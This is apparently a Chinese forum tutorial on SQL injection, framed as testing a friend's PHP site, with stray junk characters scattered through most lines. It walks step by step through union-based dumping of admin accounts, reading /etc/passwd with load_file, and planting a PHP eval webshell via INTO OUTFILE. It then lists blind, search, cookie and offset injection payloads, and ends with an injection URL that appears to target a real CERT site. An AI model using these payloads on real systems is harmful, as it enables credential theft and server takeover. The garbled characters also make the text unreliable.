我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
; L& s4 V; [) u- y" l9 T+ D- v让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
- z6 ~, P$ p9 N" Q \: |我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。1 t _. }8 d% a
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)8 T$ m- C) I! |2 w
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)3 ?1 n. u' n: p' r: P
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:7 D+ B" z7 H |. `# V0 k
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in |1 G6 g- h d3 e( n$ @
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入# j8 ~8 x6 y8 w. P
$ Q, ^2 u5 g" w* b. v; J0 d/ o7 u2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,: k) r/ h2 x7 g
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意
- e( j% V$ M# T- O' a- f4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
7 Q; C4 k) C: \5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
8 {5 m$ B" C2 _4 S. J$ a+ m4 |有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
6 f8 S1 \9 o- b( b0 r2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
# H$ w( y- [) a* b9 B$ K我就用的是第二个思路,
4 m1 v, ?2 x2 Y' K2 C( d! E* w0 _, }提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1-- ( F4 e4 Y4 I: X/ p" `' |6 w: c
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
7 {! L; E; ]- U" M/ ~3 {提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
8 n4 \/ N9 w$ W" Y注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
+ F$ z9 p4 u; l3 s1 M2 G% ^0 O% A7 r7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????1 e, B$ h6 w4 }/ g: v
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....
' n9 U1 A& I- _: }" M, N提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --
- n/ J) P1 t# r* G) |, m9 v1 [9 J1 E8 o然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,9 Z* N. Y( ^- {' G0 w6 `0 V, _; J
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......3 z5 {; ^$ v. M y: d
下面是一些很普遍注入方式资料:! B/ c$ p9 a% ~0 z, q# }
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
" S3 @) r3 c/ G' O# ~- C拆半法1 V% [" j2 H( B/ w, M, Z/ C0 C
######################################; g2 i4 O+ @" {# `6 ~
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。% S% Q: a: W: \# Q1 o
and exists (select * from admin)' E9 b* s" {2 R. \$ a* L
and exists(select id from admin)
, h* j: \3 i1 b9 s# x. Sand exists(select id from admin where id=1)
! u/ w8 q# }1 E' q; e/ j8 Qand exists(select id from admin where id>1) 5 _) } Y0 P+ [7 i; v6 A
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
+ l4 F/ Y# a: _" \0 n; |9 M8 sand exists (select username from admin)& v; G' `! S: d8 c
and exists (select password from admin)
" q; u; n+ ^! Cand exists (select id from admin where len(username)<10 and id=1)
% k/ u! h6 L+ |' Y( d Kand exists (select id from admin where len(username)>5 and id=1)
! _7 N3 E* P# N3 jand exists (select id from admin where len(username)=6 and id=1)
4 t$ c1 p2 E# k1 [and exists (select id from admin where len(password)<10 and id=1)! I. o+ ~8 v9 }% z8 e Q5 z
and exists (select id from admin where len(password)>5 and id=1)
; K! Q& b2 H/ s- l$ tand exists (select id from admin where len(password)=7 and id=1)
" M' L# W) q$ B; _# sand (select top 1 asc(mid(username,1,1)) from admin)=97
* N/ t% P* K! D; f8 e; q6 D返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
5 R, o; K5 d, ]$ P" M- Y9 ?5 z; z猜第二位把username,1,1改成username,2,1就可以了。
9 p; n. _9 k" {. T' \猜密码把username改成password就OK了
# A/ R* t! w8 P: D/ U##################################################
9 k7 l" i% ?; T# U9 R搜索型注入
8 z8 I# Q2 Y0 J& L; E; W% w* P& t##################################
$ ^* f% I% @7 g3 `%' and 1=1 and '%'='
6 v' O9 N/ Y& L- g, ]%' and exists (select * from admin) and '%'='
8 F* y; K# z2 {8 i/ S7 ]5 l%' and exists(select id from admin where id=1) and '%'='0 Z" t1 ]6 ^5 c) w, N8 A$ `
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
) F9 x4 G7 t- I" ^3 v%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
) m* H5 K/ G5 L. ?$ z# u& N& F%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='- Q3 M, a8 ^* A: J# L+ l1 V
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
3 i! Z. ]+ z: J" ^对于MSSQL数据库,后面可以吧 and '%'='换成--4 Y; k: j, o; e4 l
还有一点搜索型注入也可以使用union语句。
. c8 k* @& [5 T########################################################7 Z3 u. s7 F: D/ y+ g# L
联合查询。
0 v- D* K9 O4 n9 S#####################################) F1 q0 b( f' W. Z" d
order by 10/ h+ t9 S' f7 r. f I1 @5 O) G
and 1=2 union select 1,2,3,4,5,6,7,8,9,10
8 [# L6 V' m+ A* mand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
6 T9 N% `" d& q/ c" o, uand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
- g1 h$ |% c# g# L; M& T# N ?很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)
: S, U8 Y) z, N6 H( X/ e###################################* r; u) a9 F. h! U& `3 f- J% `
cookie注入
3 \3 R1 L& ` t3 Q. k/ a###############################8 Y; Y$ Q+ \+ N7 [/ U" e% o
http://www.******.com/shownews.asp?id=127
6 N; z! j$ C8 Y3 nhttp://www.******.com/shownews.asp
) V" I7 c) a6 b: K% v4 U& O: salert(="id="+escape("127"));
3 J9 h- W' c1 m' _6 Oalert(="id="+escape("127 and 1=1"));
" U8 U* t' y- x& l# galert(="id="+escape("127 order by 10"));+ ?) X* c: X9 Z% S, F6 ]
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
: t. H$ L3 a4 i2 ]7 p5 calert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
$ a: f$ n& F+ s: H& Q这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
7 I$ P/ i. p" U ?###################################! l/ W. h( q' ?- h8 x2 H
偏移注入
, A) r9 Z1 [" Y5 x" Z###########################################################) \( ~3 _0 a# T, c0 x
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin3 ^) x, [" Y8 r" }3 {- l1 `
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
8 y' @$ X# i: C! x K: E; p, Uunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id). {% n* m, S" B6 ?4 E: ]
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)" k: e1 S& n4 v- L7 I1 q+ `
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)# ~+ G: @9 x9 ~% K
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
9 m' ?9 p3 K' h3 Dunion select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on1 @" A. B4 y$ ^1 S% Z9 g; p
a.id=d.id), x* S( U5 N+ C5 |2 j
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)5 c8 @7 ^5 z; n0 K2 {8 p: I
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
+ o2 q! p' I+ i( t* N + [3 b0 h0 ^' \* R) ^
============================================================================================================) K5 v/ w* W7 H) V/ \. {
1.判断版本" y* i. T- l0 W4 ~6 L! c
and ord(mid(version(),1,1))>51
$ W8 P5 F3 T" B3 X! J返回正常,说明大于4.0版本,支持ounion查询
/ O% H3 w6 m% v, z% z2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解: j+ {3 _: P. W4 {
and 2=4 union select 1,2,3,4,5,6,7,8,9--% ?& A G- G6 Z3 m4 q
3.查看数据库版本及当前用户,
! E; r" T2 s5 y$ g$ y @1 cand 2=4 union select 1,user(),version(),4,5,6,7,8,9--; Q/ x" @" w8 z
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,
- e8 s# A. d5 z7 T4 e4.判断有没有写权限
5 _( b% ]- k" ?# a! E# sand (select count(*) from MySQL.user)>0--
' _9 l# f5 G) @. |2 U( E5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
{- K: Q* c0 H. A- {用不了这个命令,就学习土耳其黑客手法,如下
. j2 N7 t" H, { Nand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
) j4 P) P. m1 U& \) }5 o6.爆表,爆库
+ Q& z$ D# R* h3 l# Kand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--* L" c' D. _+ m( ~! F* v' z
7.爆列名,爆表. W- o8 e" ?, M8 d
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
( b8 v U" ^ c) T- F: b( }# {8.查询字段数,直接用limit N,1去查询,直接N到报错为止。 j' f, l3 ^8 y. O1 A9 o9 N3 s, g
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--& D5 ?" z1 q1 o( {# G
9.爆字段内容 Z! V. }. i. b8 c0 e- w
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
; r" m j, M4 ^4 @% {) `" N; whttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |